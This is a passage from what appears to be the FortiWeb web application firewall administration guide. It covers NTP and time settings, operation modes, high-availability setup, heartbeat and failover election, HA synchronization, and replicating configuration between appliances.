2. For Time Zone, select the time zone where FortiWeb is located.
3. If you want FortiWeb to automatically synchronize its clock with an NTP server (recommended), configure these
settings:
Synchronize with NTP Select this option to automatically synchronize the date and time of
Server the FortiWeb appliance’s clock with an NTP server, then configure the
Server on page 103 and Sync Interval on page 103 before you click
Apply.
Server Type the IP address or domain name of an NTP server or pool, such
as pool.ntp.org. IPv4 and IPv6 address are both supported here.
To find an NTP server that you can use, go to http://www.ntp.org.
Sync Interval Enter how often in minutes the FortiWeb appliance should
synchronize its time with the NTP server. For example, entering 1440
causes the FortiWeb appliance to synchronize its time once a day.
NTP requires that FortiWeb be able to connect to the Internet on UDP port 123.
Otherwise, select Set Time, then manually set the current date and time. If you want FortiWeb to automatically
adjust its own clock when its time zone changes between daylight saving time (DST) and standard time, enable
Automatically adjust clock for daylight saving changes.The clock will be initialized with the manually
specified time when you click OK.
4. Click OK.
If you manually configured the time, or if you enabled NTP and the NTP query for the current time succeeds, the new
clock time should appear for the System Time in the System Information widget. (If the query reply is slow, you may
need to wait a couple of seconds, then click Refresh to update the display in System time.)

If the NTP query fails, the system clock will continue without adjustment. If FortiWeb’s time was 3 hours late, for
example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that
your firewalls or routers do not block or proxy UDP port 123.
To configure NTP via the CLI
To synchronize with an NTP server, enter the following commands:

config system global
set ntpsync enable
set timezone <timezone_index>
set ntpserver {<server_fqdn> | <server_ipv4> | <server_ipv6>}
end
where:
l <timezone_index> is the index number of the time zone in which the FortiWeb appliance is located (to view the
list of valid time zones and their associated index numbers, enter a question mark)
l {<server_fqdn> | <server_ipv4> | <server_ipv6>} is a choice of either the IPv4 address, IPv6
address, or fully qualified domain name (FQDN) of the NTP server, such as pool.ntp.org
If your NTP query succeeds, the new clock time should appear when you enter the command:
get system status
If the NTP query fails, the system clock will continue without adjustment. If FortiWeb’s time was 3 hours late, for
example, the time will still be 3 hours late. Verify your DNS server IPs, your NTP server IP or name, routing, and that
your firewalls or routers do not block or proxy UDP port 123.
To manually set the date and time via the CLI
To manually configure the FortiWeb appliance’s system time and disable the connection to an NTP server, enter the
following commands:
set ntpsync disable
set timezone <timezone_index>
set dst {enable | disable}
end
execute time <time_str>
execute date <date_str>
where:
l <timezone_index> is the index number of the time zone in which the FortiWeb appliance is located (to view the
list of valid time zones and their associated index numbers, enter a question mark)
l dst {enable | disable} is a choice between enabling or disabling daylight saving time (DST) clock
adjustments
l <time_str> is the time for the time zone in which the FortiWeb appliance is located according to a 24-hour clock,
formatted as hh:mm:ss (hh is the hour, mm is the minute, and ss is the second)
l <date_str> is the date for the time zone in which the FortiWeb appliance is located, formatted as yyyy-mm-dd
(yyyy is the year, mm is the month, and dd is the day)
See also
l System Information widget on page 683

Setting the operation mode
Once the FortiWeb appliance is mounted and powered on, you have physically connected the FortiWeb appliance to
your overall network, and you have connected to either the FortiWeb appliance’s web UI or CLI, you must configure the
operation mode.
You will usually set the operation mode once when setting up FortiWeb. Exceptions include if you install the FortiWeb
appliance in Offline Protection mode for evaluation or transition purposes, before deciding to switch to another mode for
more feature support in a permanent deployment. See also Switching out of Offline Protection mode on page 215.
The physical topology must match the operation mode. For details, see Planning
the network topology on page 66 and How to choose the operation mode on page
70.
FortiWeb models that use Data Plane Development Kit (DPDK) for packet processing (for example, models 3000E,
3010E and 4000E) reboot automatically when you change the operation mode to or from Offline Protection.
To configure the operation mode via the web UI
Back up your configuration before changing the operation mode. For details, see
Backups on page 322. Changing modes deletes any policies not applicable to the
new mode, all static routes, V-zone IPs, TCP SYN flood protection settings, and
VLANs. You also must re-cable your network topology to suit the operation mode,
unless you are switching between the two transparent modes, which have similar
network topology requirements.
1. Go to System > Config > Operation.

Alternatively, go to System > Status > Status. In the System Information widget, next to Operation Mode,
click Change.
2. From Operation Mode, select one of the following modes:
l Reverse Proxy
l Offline Protection
l True Transparent Proxy
l Transparent Inspection
l WCCP
For details, see How to choose the operation mode on page 70.
If you are selecting True Transparent Proxy, Transparent Inspection mode, or WCCP, configure the following:
Management IP—Specify the IP address to access the web UI. FortiWeb assigns this management IP address to
port1.
Default Gateway—Set to the IP address of the next hop router.
3. Click Apply.
4. If you have not yet adjusted the physical topology to suit the new operation mode, see Planning the network
topology on page 66. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers,
and enable or disable SSL on your web servers.

To configure the operation mode via the CLI
Back up your configuration before changing the operation mode. For details, see
Backups on page 322. Changing modes deletes any policies not applicable to the
new mode, all static routes, V-zone IPs, and VLANs. You may also need to re-cable
your network topology to suit the operation mode. Exceptions may include switching
between the two transparent modes, which have similar network topology
requirements.
1. Enter the following commands:

config system settings
set opmode {offline-protection | reverse-proxy | transparent | transparent-inspection
| wccp}
end
where {offline-protection | reverse-proxy | transparent | transparent-inspection|
wccp} specifies the operation mode.
2. If you are changing to True Transparent Proxy, Transparent Inspection, or WCCP mode, also enter the following
commands:
set gateway <gateway_ipv4>
end
where <gateway_ipv4> is the IP address of the gateway router. For details, see Adding a gateway on page 142.
FortiWeb will use the gateway setting to create a corresponding static route under config router static
with the first available index number. Packets will egress through port1, the hard-coded management network
interface for the transparent and WCCP operation modes.
3. If you have not yet adjusted the physical topology to suit the new operation mode, see Planning the network
topology on page 66. You may also need to reconfigure IP addresses, static routes, bridges, and virtual servers,
and enable or disable SSL/TLS on your web servers.
See also
l Planning the network topology on page 66

l Configuring the network settings on page 124
l Adding a gateway on page 142
l Configuring a bridge (V-zone) on page 133
l Configuring virtual servers on your FortiWeb on page 199
l How operation mode affects server policy behavior on page 217
Configuring High Availability (HA) basic settings
If you want to deploy the FortiWeb appliances in HA mode, it's recommended to first complete the HA basic settings
introduced in this topic before you start setting other configurations.
When basic settings are done, there will be heartbeat links between the HA member to synchronize configuration. The
active unit’s configuration is almost entirely synchronized to the passive appliance, so that changes made to the active
appliance are propagated to the standby or slave appliance, ensuring that it is prepared for a failover. See
Synchronization on page 116 for configurations and data that are synchronized in HA group.

HA requirements
l For active-passive HA, you need two identical physical FortiWeb appliances; for standard or high volume active-
active HA, you need two or more (up to eight) identical physical FortiWeb appliances and firmware versions. For
introductions on the HA modes, see FortiWeb high availability (HA) on page 48.
l Redundant network topology: if the active or master appliance fails, physical network cabling and routes must be
able to redirect web traffic to the standby or slave appliances. For details, see Topologies for high availability (HA)
clustering on page 80.
l At least one physical port on each HA appliance connected via crossover cables, or through switches. For details,
see HA heartbeat on page 114.
l For FortiWeb-VM:
l A valid license for all HA members. You cannot configure HA with trial licenses.
l Configure the vNetwork interfaces that carry heartbeat and synchronization traffic to operate in promiscuous
mode and accept MAC address changes.
l Ensure the HA members have the same number of ports and are configured with the same amount of memory
and vCPUs.
FortiWeb-VM supports HA. However, if you do not wish to use the native HA, you
can use your hypervisor or VM environment manager to install your virtual
appliances over a hardware cluster to improve availability. For example, VMware
clusters can use vMotion or VMware HA.
Basic settings
Basic settings apply for all the HA modes, including active-passive, standard active-active, and high volume active-
active modes.
To configure HA:
1. If the HA group will use FortiGuard services, license all FortiWeb appliances in the HA group, and register them
with the Fortinet Customer Service & Support website:
FortiWebs in an HA group use the FortiGuard Distribution Server (FDS) to validate licenses and contracts. The
master appliance maintains a connection with the FDS, and each slave appliance verifies its license status via the
master appliance's connection. The master appliance will also use the connection with the FDS to forward contract
information to each slave appliance.
If you license only the primary appliance in an HA group, after a failover, the
secondary appliance will not be able to use the FortiGuard service. This could
cause traffic to be scanned with out-of-date definitions, potentially allowing
newer attacks.
2. Cable both appliances into a redundant network topology.

For details, see Configuring redundant interfaces on page 140.
3. Physically link the FortiWeb appliances that will be members of the HA group.
For the HA group, you must link at least one of their ports (e.g. port4 to port4) for heartbeat and synchronization
traffic between members of the HA group. You can either:
l Link two appliances directly via a crossover cable (for only two appliances in a group)
l Link the appliances through a switch (for more than two appliances in a group)

If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be reachable by Layer 2
multicast. To improve fault tolerance and reliability, link the ports through two separate switches. Do not connect
these switches to your overall network, which could introduce a potential attack point, and could also allow network
load to cause latency in the heartbeat, which could cause an unintentional failover.
Note: If the heartbeat is accidentally interrupted for an active-passive HA group, such as when a network cable is
temporarily disconnected, the secondary appliance will assume that the primary unit has failed, and become the
new primary appliance. If no failure has actually occurred, both FortiWeb appliances will be operating as primary
appliances simultaneously.
To avoid unintentional failovers due to accidental detachment or hardware

failure of a single heartbeat link, make two heartbeat links.
For example, you might link port3 to port3 on the other appliance, and link
port4 to port4 on the other appliance, then configure both appliances to use
those network interfaces for heartbeat and synchronization.
4. Log in to all the appliances as the admin administrator account.

Accounts whose access profile includes Read and Write permissions to the System Configuration area can
configure HA, but may not be able to use features that may be necessary when using HA, such as logs and network
configuration.
5. On all the appliances, go to System > High Availability > Settings.
By default, each FortiWeb appliance operates as a single, standalone appliance: only the Configured HA mode
drop-down list appears, with the Standalone option selected.
6. For Mode, select Active-Passive, Active-Active-Standard, or Active-Active-High Volume as desired.
Fail-open is disabled when the FortiWeb appliance is configured as part of an HA

pair. For details about fail-to-wire, see Fail-to-wire for power loss/reboots on
page 667.
Additional options appear that enable you to configure HA.

Device Priority Type the priority of the appliance when selecting the active-passive primary (or active-
active master) appliance in the HA group. On active-passive standby or active-active
slave devices, this setting can be reconfigured using the CLI command execute ha
manage <serial-number_str> <priority_int>. For details, see FortiWeb
CLI Reference.
This setting is optional. The smaller the number, the higher the priority. The valid range is
0 to 9. The default is 5.
Note: By default, unless you enable Override on page 108, uptime is more important
than this setting. For details, see How HA chooses the active appliance on page 115.
Override Enable to make Device Priority on page 108 a more important factor than uptime when
selecting the main appliance. See How HA chooses the active appliance on page 115.
Group-name Type a name to identify the HA pair if you have more than one.

This setting is optional, and does not affect HA function.
The maximum length is 63 characters.
Group ID Type a number that identifies the HA group.

All the members of the HA group must have the same group ID. If you have more
than one HA group on the same network, each HA group must have a different group ID.
Changing the group ID changes the group’s virtual MAC address.
The valid range is 0 to 63. The default value is 0.
Session Pickup Available only in Active-Active-Standard mode.

Enable so that the master unit in the HA group synchronizes the session table with all
group units. If a group unit fails, the HA session table information is available to the
remaining group units which can use the session table to resume connections without
interruption.
Enable for session fail-over protection. If this is not required, disabling may reduce CPU
usage and reduce HA heartbeat network bandwidth usage.
Note: Only sessions that have been established for longer than 30 seconds will be
synchronized.
Layer 7 Enable so that FortiWeb enforces session persistence between the master and slave
Persistence appliances at the application layer.
Synchronization Note: This option is available only when the Mode is Active-Passive.
Monitor Interface Select one or more network interfaces that each directly correlate with a physical link.
These ports will be monitored for link failure.
Port monitoring (also called interface monitoring) monitors physical network ports to verify
that they are functioning properly and linked to their networks. If the physical port fails or
the cable becomes disconnected, a failover occurs. You can monitor physical interfaces,
but not VLAN subinterfaces or 4-port switches.
If you select a link aggregate interface, failover occurs only if all the physical network
interfaces in the logical interface fail. For details, see Link aggregation on page 136.
Note: To prevent an unintentional failover, do not configure port monitoring until you
configure HA on all the appliances in the HA group, and have plugged in the cables to link
the physical network ports that will be monitored.
Heartbeat Select which port(s) on this appliance that all the appliances will use to send heartbeat
Interface signals and synchronization data (configuration synchronization for active-passive HA, or
configuration and session synchronization for active-active HA) between each other (i.e.
the HA heartbeat link).
Connect this port to the same port number on the other HA group members. (e.g., If you
select port3 for the primary heartbeat link, connect port3 on this appliance to port3 on
the other appliances.)
At least one heartbeat interface must be selected on each appliance in the HA group.
Ports that currently have an IP address assigned for other purposes (that is, virtual servers
or bridges) cannot be re-used as a heartbeat link.

If a switch is used to connect the heartbeat interfaces, the heartbeat interfaces must be
reachable by Layer 2 multicast.
If a port is selected as the heartbeat interface, then MTU will be automatically changed
from the default 1500 to 1400 to establish HA connection in VXLAN environments.
Tip: If enough ports are available, you can select both a primary heartbeat interface and
a secondary heartbeat interface on each appliance in the HA pair to provide heartbeat link
redundancy. (You cannot use the same port as both the primary and secondary heartbeat
interface on the same appliance, as this is incompatible with the purpose of link
redundancy.)
Note: The master appliance uses the heartbeat interface to synchronize its session table
to other appliances in an Active-Active-Standard HA group by default. However, you
can use extra interfaces for the session synchronization by configuring set session-
sync-dev <port_number> in CLI command config system ha. Moreover, the
appliance synchronizes sessions to others in unicast by default, but you can choose to
synchronize sessions via broadcasting by configuring set session-sync-
broadcast {enable|disable} in the CLI command config system ha.
Broadcasting is recommended if an Active-Active-Standard HA group contains many
appliances. For details, see FortiWeb CLI Reference.
Reserved This option applies to active-passive and standard active-active modes.

Management Enable to reserve network interfaces for this HA member. The configurations of the
Interface reserved interfaces, including the IP address and other settings, are not synchronized
with other HA members.
The reserved network interface can be used for the administrative access to the GUI and
CLI of this member. You can also use it to connect this member to back-end servers that
are not in the server pool of the HA group. If the reserved network interfaces are not in the
same subnet with the management computer or the back-end servers, you need to
configure the next-hop gateways in HA Static Route or HA Policy route.
The configurations in the Static Route and Policy Route (System > Network > Route)
are synchronized by all the HA members, but the configurations in HA Static Route or
HA Policy route are applied only to this specific member.
For details on the static route and policy route, see Adding a gateway and Creating a
policy route.
Interface Specifies the network interfaces to be reserved. The interfaces that are already used in
the HA group configuration are excluded from the list.
HA Health Check Enable to check whether the server policies are running properly on the HA group.
Available only if the HA mode is Active-Active-Standard.
8. Click Apply.
All the appliances join the HA group by matching their Group ID on page 109. They begin to send heartbeat and
synchronization traffic to each other through their heartbeat links.
To determine which appliance currently has the role of the main appliance, on System > High Availability >
Settings, in the HA Member table, view the HA Role column:
l main/master—The appliance in this row is currently active. The active appliance applies policies to govern
the traffic passing to your web servers. Also called the primary, master, or main appliance.
l standby—The appliance in this row is currently passive, and is not actively applying policies. The passive
appliance listens to heartbeat traffic and port monitoring for signs that the main appliance may have become

unresponsive, at which point it will assume the role of the main appliance. Also called the secondary or
standby appliance.
l slave—The appliance in this row is the slave node in active-active modes.
If both appliances believe that they are the main:
l Test the cables and/or switches in the heartbeat link to verify that the link is functional.
l Verify that you have selected the heartbeat port or ports in Heartbeat Interface on page 109. Make sure that
the primary and secondary link is not crossed (that is, the primary heartbeat interface is not connected to the
secondary heartbeat interface on the other appliance).
l Verify that the Group ID on page 109 matches on both appliances.
l Verify that the ports on Monitor Interface on page 109 are linked and up (available).
l If the heartbeat link passes through switches and/or routers, you may need to adjust the time required after a
reboot to assess network availability before electing the main appliance. To do this, use the the boot-time
<seconds_int> command. For details, see FortiWeb CLI Reference.
l For debugging logs, use the diagnose system ha status and diagnose debug application
hatalk level commands. For details, see FortiWeb CLI Reference.
9. To monitor the HA group for failover, you can use SNMP (see Configuring an SNMP community on page 729), log
messages (see Configuring logging on page 700), and alert email (see Alert email on page 724).
If the failover time is too long, from the CLI, enter config system ha and configure these settings:
arps <arp_int> Enter the number of times that the FortiWeb appliance will broadcast address resolution
protocol (ARP) packets (IPv4 environment) or Neighbor Solicitation (NS) packets (IPv6
environment) when it takes on the main role. Even though a new NIC has not actually
been connected to the network, FortiWeb does this to notify the network that a different
physical port has become associated with the IP address and virtual MAC of the HA pair.
This is sometimes called “using gratuitous ARP packets to train the network,” and can
occur when the main appliance is starting up, or during a failover. Also configure arp-
interval <seconds_int> on page 111.
Normally, you do not need to change this setting. Exceptions include:
l Increase the number of times the main appliance sends gratuitous ARP packets if
your HA pair takes a long time to fail over or to train the network. Sending more
gratuitous ARP packets may help the failover to happen faster.
l Decrease the number of times the main appliance sends gratuitous ARP packets if
your HA pair has a large number of VLAN interfaces and virtual domains. Because
gratuitous ARP packets are broadcast, sending them may generate a large amount
of network traffic. As long as the HA pair still fails over successfully, you could reduce
the number of times gratuitous ARP packets are sent to reduce the amount of traffic
produced by a failover.
The valid range is 1–16. The default value is 10.
arp-interval Enter the number of seconds to wait between each broadcast of ARP/NS packets.
<seconds_int> Normally, you do not need to change this setting. Exceptions include:
l Decrease the interval if your HA pair takes a long time to fail over or to train the
network. Sending ARP packets more frequently may help the failover to happen
faster.
l Increase the interval if your HA pair has a large number of VLAN interfaces and
virtual domains. Because gratuitous ARP packets are broadcast, sending them may
generate a large amount of network traffic. As long as the HA pair still fails over
successfully, you could increase the interval between when gratuitous ARP packets

are sent to reduce the rate of traffic produced by a failover.

The valid range is 1–20. The default value is 3.
Even when a FortiWeb appliance broadcasts gratuitous ARP/NS packets once it

takes on the master role after a failover occurs, some equipment in the network
may not immediately detect that there is a new primary unit in the group. To
make sure that all equipment defects the failover, you can use the following CLI
command:
config system ha
set link-failed-signal enable
end
For details, see FortiWeb CLI Reference.
If your HA link passes through switches and/or routers, and inadvertent failovers
occur when rebooting the HA pair, you can increase the maximum time to wait for a
heartbeat signal after a reboot by configuring boot-time <limit_int>. See
FortiWeb CLI Reference.
Configuring redundant interfaces in HA
You can create an HA group with redundant interfaces that eliminate potential single points of failure. Redundant
interfaces consist of at least two physical interfaces. At any given time, only one of the physical interfaces has traffic
going through it; the other interfaces act as backups in the event that the active interface fails.

This is an example of an HA group with redundant interfaces:
For details, see Configuring redundant interfaces on page 140.
Checking your HA topology information and statistics
After completing your HA deployment, you can manage the HA topology and view information and statistics for each HA
unit.
Go to System > High Availability > HA Topology. From here, you can select the master unit or slaves in the group,
and a pop-up window will appear with the option to disconnect them. If you select a slave in the group, the pop-up will
also provide options to view its attack logs, event logs, and traffic logs. On the log page, you can click the Download
button to download the logs of the slaves. To view logs for the master unit in the group, go to Log&Report > Log
Access and select the log(s) you want to view.
From System > High Availability > HA Topology, click View HA Statistics in the top right corner of the window.
The following information about each unit in the group is displayed:

For best fault tolerance, make sure that your topology is fully redundant, with no
single points of failure.
For example, in the above image, the switch, firewall, and Internet connection are
all single points of failure. If any should fail, websites would be unavailable despite
the HA group. To prevent this, you would add a dual ISP connection to separate
service providers, preferably with their own redundant pathways upstream. You
would also add a standby firewall, and a standby switch. For details, see Configuring
redundant interfaces on page 140.
HA heartbeat & active node election
HA heartbeat
You can group multiple FortiWeb appliances together as a high availability (HA) group (see FortiWeb high availability
(HA) on page 48). The heartbeat traffic indicates to other appliances in the HA group that the appliance is up and
“alive.”
Heartbeat traffic between HA members occurs over the physical network ports selected in Heartbeat Interface.
Heartbeat traffic uses multicast on port number 6065 and the IP address 239.0.0.1. The HA IP addresses are hard-
coded and cannot be modified.
Ensure that switches and routers that connect to heartbeat interfaces are configured
to allow level2 frames. See Normal IP packets are 802.3 packets that have an
Ethernet type (Ethertype) field value of 0x0800. Ethertype values other than 0x0800
are understood as level2 frames rather than IP packets. on page 115.
Failover is triggered by any interruption to either the heartbeat or a port monitored network interface whose length of
time exceeds your configured limits (Detection Interval and Heartbeat Lost Threshold). When the active (or master)
appliance becomes unresponsive, the standby (or slave) appliance:
1. Assumes the virtual MAC address of the failed primary unit and broadcasts ARP/NS packets so that other
equipment in the network will refresh their MAC forwarding tables and detect the new primary unit
2. Assumes the role of the active appliance and scans network traffic
The heartbeat timeout is calculated by:
Heartbeat timeout = Detection Interval x Heartbeat Lost Threshold
Time required for traffic to be redirected to the new active appliance varies by your network’s responsiveness to
changeover notification and by your configuration:

Total failover time = ARP/NS Packet Numbers x ARP/NS Packet Interval(sec) + Network responsiveness +
Heartbeat timeout
For example, if:
l Detection Interval is 3 (i.e. 0.3 seconds)
l Heartbeat Lost Threshold is 2
l ARP/NS Packet Numbers is 3
l ARP/NS Packet Interval (sec) is 1
l Network switches etc. take 2 seconds to acknowledge and redirect traffic flow
then the total time between the first unacknowledged heartbeat and traffic redirection could be up to 5.6 seconds.
The above settings can be configured in the CLI using the system ha command.
For details, see FortiWeb CLI Reference.
Normal IP packets are 802.3 packets that have an Ethernet type (Ethertype) field value of 0x0800. Ethertype values
other than 0x0800 are understood as level2 frames rather than IP packets.
By default, HA uses the following Ethertypes:
l Ethertype 0x8890—For HA heartbeat packets that HA members use to find other member and to verify the status
of other members while the HA group is operating.
l Ethertype 0x8893—For HA sessions that synchronize the HA configurations.
Because heartbeat packets are recognized as level2 frames, the switches and routers that connect to heartbeat
interfaces require a configuration that allows them. If these network devices drop level2 frames, they prevent heartbeat
traffic between the members of the HA group.
In some cases, if you connect and configure the heartbeat interfaces so that regular traffic flows but heartbeat traffic is
not forwarded, you can change the configuration of the switch that connects the HA heartbeat interfaces to allow level2
frames with Ethertypes 0x8890 and 0x8893 to pass.
For HA Ethertype, only numbers between 0x8890–0x889f can be used; also,

different HA Ethertype shall use different numbers.
How HA chooses the active appliance
Members in an HA group may or may not resume their active and standby roles when the failed appliance resumes
responsiveness to the heartbeat.
Since the current active appliance will by definition have a greater uptime than a failed previous active appliance that
has just returned online, assuming each has the same number of available ports, the current active appliance usually
retains its status as the active appliance, unless Override is enabled. If Override is enabled, and if Device Priority of
the returning appliance is higher, it will be elected as the active appliance in the HA group.

If Override is disabled, HA considers (in order):
1. The most available ports

For example, if two FortiWeb appliances, FWB1 and FWB2, were configured to monitor two ports each, and FWB2
has just one port currently available according to Port Monitor, FWB1 would become the active appliance,
regardless of uptime or priority. But if both had 2 available ports, this factor alone would not be able to determine
which appliance should be active, and the HA group would proceed to the next consideration.
2. The highest uptime value
Uptime is reset to zero if an appliance fails, or the status of any monitored port (per Port Monitor) changes.
3. The smallest Device Priority number (that is, 0 has the highest priority)
4. The highest-sorting serial number
Serial numbers are sorted by comparing each character from left to right, where 9
and z are the greatest values, and result in highest placement in the sorted list.
If Override is enabled, HA considers (in order):
1. The most available ports

2. The smallest Device Priority number (that is, 0 has the highest priority)
3. The highest uptime value
4. The highest-sorting serial number
If the heartbeat link occurs through switches or routers, and the active appliance is very busy, it might require more
time to establish a heartbeat link through which it can negotiate to elect the active appliance. You can configure the
amount of time that a FortiWeb appliance will wait after it boots to establish this connection before assuming that
the other appliance is unresponsive, and that it should become the active appliance. For details, see the boot-
time <seconds_int> setting in FortiWeb CLI Reference.
See also

Synchronization
The configurations of the active (or master ) node is automatically synchronized to all the members in the HA group.
Synchronization ensures that all appliances in the group remain ready to process traffic, even if you only change one of
the appliances. Synchronization traffic uses TCP on port number 6010 and a reserved IP address.
Configurations synchronized by HA
HA group uses the heartbeat link to automatically synchronize most of their configuration. Synchronization includes:
l Core CLI-style configuration file (fwb_system.conf)
l X.509 certificates, certificate request files (CSR), and private keys
l HTTP error pages
l FortiGuard IRIS Service database

l FortiGuard Security Service files (attack signatures, predefined data types & suspicious URLs, known web crawlers
& content scrapers, global white list, vulnerability scan signatures)
l FortiGuard Antivirus signatures
l Geography-to-IP database
and occurs immediately when an appliance joins the group, and thereafter every 30 seconds.
Although they are not automatically synchronized for performance reasons due to large size and frequent updates, you
can manually force HA to synchronize. For instructions, see execute ha synchronize in the FortiWeb CLI
Reference (https://docs.fortinet.com/document/fortiweb/).
If you do not want to configure HA (perhaps you have a separate network appliance
implementing HA externally), you can still replicate the FortiWeb’s configuration on
another FortiWeb appliance. For details, see Replicating the configuration without
FortiWeb HA (external HA) on page 119
Data that is not synchronized by HA
In addition to the HA configuration, some data is also not synchronized.

l FortiWeb HTTP sessions—FortiWeb appliances can use cookies to add and track its own sessions, functionality
that is not inherently provided by HTTP. For details, see HTTP sessions & security on page 42. This state-tracking
data corresponds in a 1:1 ratio to request volume, and therefore can change very rapidly. To minimize the
performance impact on an HA group, this data is not synchronized.
Failover will not break web applications’ existing sessions, which do not reside on
the FortiWeb, and are not the same thing as FortiWeb’s own HTTP sessions. The
new active appliance will allow existing web application sessions to continue. For
details, see FortiWeb sessions vs. web application sessions on page 44.
FortiWeb sessions are used by some FortiWeb features. After a failover, these
features may not work, or may work differently, for existing sessions. (New
sessions are not affected.) See the description for each setting that uses session
cookies. For details, see Sessions & FortiWeb HA on page 46.
Note: All sessions that are shorter than 30 seconds will not be synchronized. Only
sessions that have been established for longer than 30 seconds will be
synchronized.
l SSL/TLS sessions—HTTPS connections are stateful in that they must be able to remember states such as the
security associations from the SSL/TLS handshake: the mutually supported cipher suite, the agreed parameters,
and any certificates involved. Encryption and authentication in SSL/TLS cannot function without this. However, a
new primary FortiWeb’s lack of existing HTTPS session information is gracefully handled by re-initializing the
SSL/TLS session with the client.This does not impact to the encapsulated HTTP application, has only an initial
failover impact during re-negotiation, and therefore is not synchronized.
l Log messages—These describe events that happened on that specific appliance. After a failover, you may notice
that there is a gap in the original active appliance’s log files that corresponds to the period of its downtime. Log
messages created during the time when the standby was acting as the active appliance (if you have configured
local log storage) are stored there, on the original standby appliance. For details about configuring local log
storage, see Configuring logging on page 700.

l Generated reports—Like the log messages that they are based upon, PDF, HTML, RTF, and plain text reports
also describe events that happened on that specific appliance. As such, report settings are synchronized, but report
output is not. For details about this feature, see Reports on page 732.
l Machine learning data—Machine learning database is synchronized from the master node to the slave node only
in Active-Passive mode. The data is synchronized every 10 minutes.
In Active-Active modes, the database is not synchronized.
Configuration settings that are not synchronized by HA
All configuration settings on the active FortiWeb are synchronized to the standby or slave FortiWeb except these
settings:
Host name The host name distinguishes each member of the FortiWeb HA group. For
details, see Changing the FortiWeb appliance’s host name on page 666.
Network interfaces In Active-Passsive mode, only the FortiWeb appliance acting as the main
appliance, actively scanning web traffic, is configured with IP addresses on its
(Reverse Proxy or Offline network interfaces (or bridge). The standby appliance only uses the configured
Protection mode only) IP addresses if a failover occurs, and the standby appliance therefore assumes
the role of the main appliance.
or In standard Active-Active mode, all the group members actively scan web traffic.
The IP address configured for the master appliance is synchronized to and used
Bridge by all the group members.
In high volume Active-Active mode, the IPv4 and IPv6 addresses configured for
(True Transparent Proxy or the interfaces on each appliance are not synchronized.
Transparent Inspection mode
For details, see Configuring the network interfaces on page 126 or Configuring a
only)
bridge (V-zone) on page 133.
If you have configured reserved management ports for an HA member, that
configuration, including administrative access and other settings, is not
synchronized.
Firewall In high volume Active-Active mode, the firewall settings configured in System >
Firewall are not synchronized.
In Active-Passive and standard Active-Active modes, the firewall settings are
synchronized to all members.
Static Route/Policy Route In high volume Active-Active mode, the static route and policy route configured in
System > Network > Route are not synchronized.
In Active-Passive and standard Active-Active modes, these settings are
synchronized to all members.
HA Static Route/HA Policy The HA static route and policy route configured in System > High Availability
Route > Settings > HA Static Route/ System > High Availability > Settings >
HA Policy Route are not synchronized to all HA members.
HA static route and policy route are only available in Active-Passive and standard
Active-Active modes.
RAID level RAID settings are hardware-dependent and determined at boot time by looking at
the drives (for software RAID) or the controller (hardware RAID), and are not
stored in the system configuration. Therefore, they are not synchronized. For

details, see RAID level & disk statuses on page 697.
HA active status and priority The HA configuration, which includes FortiWeb high availability (HA) on page 48,
is not synchronized because this configuration must be different on the primary
and secondary appliances.
Replicating the configuration without FortiWeb HA (external HA)
Configuration synchronization provides the ability to duplicate the configuration from another FortiWeb appliance
without using FortiWeb high availability (HA). The synchronization is unilateral push; it is not a bilateral
synchronization. It adds any missing items, and overwrites any items that are identically named, but does not delete
unique items on the target FortiWeb, nor does it pull items from the target to the initiating FortiWeb.
Replicating the configuration can be useful in some scenarios where you cannot use, or do not want, FortiWeb HA:
l External active-active HA (load balancing) could be provided by the firewall, the router, or an HTTP-aware load
balancer such as FortiADC.
l External active-passive HA (failover) could be provided by a specialized failover device, instead of the FortiWebs
themselves, for network load distribution, latency, and performance optimization reasons. The failover device must
monitor for live routes.
l Multiple identical non-HAFortiWeb appliances in physically distant locations with the same network scheme
might be required to have the same (maybe with a few extra different) server policies, and therefore management
could be simplified by configuring one FortiWeb and then replicating that to the others.
In such cases, you may be able to save time and preserve your existing network topology by synchronizing a FortiWeb
appliance’s configuration with another FortiWeb. This way, you do not need to individually configure each one, and do
not need to use FortiWeb HA.
This is an example of a configuration synchronization network topology:

FortiGate FortiWeb
Client
Web
Server
Farm 1
Switch
Router
Configuration
Synchronization
FortiWeb
Router Web
Server
Farm 2
FortiGate Switch
FortiWeb
Administrator
FortiGate
Web
Server Switch
Farm 3
Configuration synchronization is not a complete replacement for HA. Each

synchronized FortiWeb does not keep any heartbeat link (no failover will occur and
availability will not be increased) nor does it load balance with the other.
Additionally, configuration synchronization will not delete items on the target
FortiWeb if the item’s name is different. Also it will not import items that exist on the
target, but not on your local FortiWeb.
If you require such features, either use FortiWeb HA instead, or augment
configuration synchronization with an external HA/load balancing device such as
FortiADC.
Like HA, due to hardware-based differences in valid settings, configuration synchronization requires that both FortiWeb
appliances be of the same model. You cannot, for example, synchronize a FortiWeb-VM and FortiWeb 1000D.
You can configure which port number the appliance uses to synchronize its configuration. For details, see Config-Sync
on page 60.
Synchronize each time you change the configuration, and are ready to propagate the changes. Unlike
FortiWeb HA, configuration synchronization is not automatic and continuous. Changes will only be pushed when you
manually initiate it.

To replicate the configuration from another FortiWeb
Back up your system before changing the operation mode (see Backups on page
322). Synchronizing the configuration overwrites the existing configuration, and
cannot be undone without restoring the configuration from a backup.
1. Go to System > Config > Config-Synchronization.

permission to items in the Network Configuration category. For details, see Permissions on page 56.
2. For Peer FortiWeb IP, enter the IP address of the target FortiWeb appliance that you want to receive
configuration items from your local FortiWeb appliance.
3. For Peer FortiWeb Port, enter the port number that the target FortiWeb appliance uses to listen for configuration
synchronization. The default port is 995.
4. For Peer FortiWeb 'admin' user password, enter the password of the administrator account named admin on
the other FortiWeb appliance.
5. For Synchronization Type, select one of the following options:
Full For all compatible operation modes except WCCP, synchronizes all
configuration except:
lSystem > Admin > Administrator (config system admin)
l System > Admin > Profiles (config system admin
accprofile)
l System > Config > Config Synchronization (config system
conf-sync)
l System > Config > HA (config system ha)
l System > Config > SNMP (config system snmp
sysinfo/community/user)
l System > Maintenance > Backup & Restore > FTP Backup
(config system backup)
When the operation mode is WCCP, synchronizes all configuration except:
l System > Admin > Administrator (config system admin)
l System > Admin > Profiles (config system admin
accprofile)
conf-sync)
l System > Network > Interface (config system interface)
l System > Config > WCCP Client (config system wccp)
l System > Maintenance > Backup & Restore > FTP backup
l System > Network > Route > Static Route (config router
static)
l System > Network > Route > Policy Route (config router
policy)

Note: This option is not available if the FortiWeb appliance is operating in

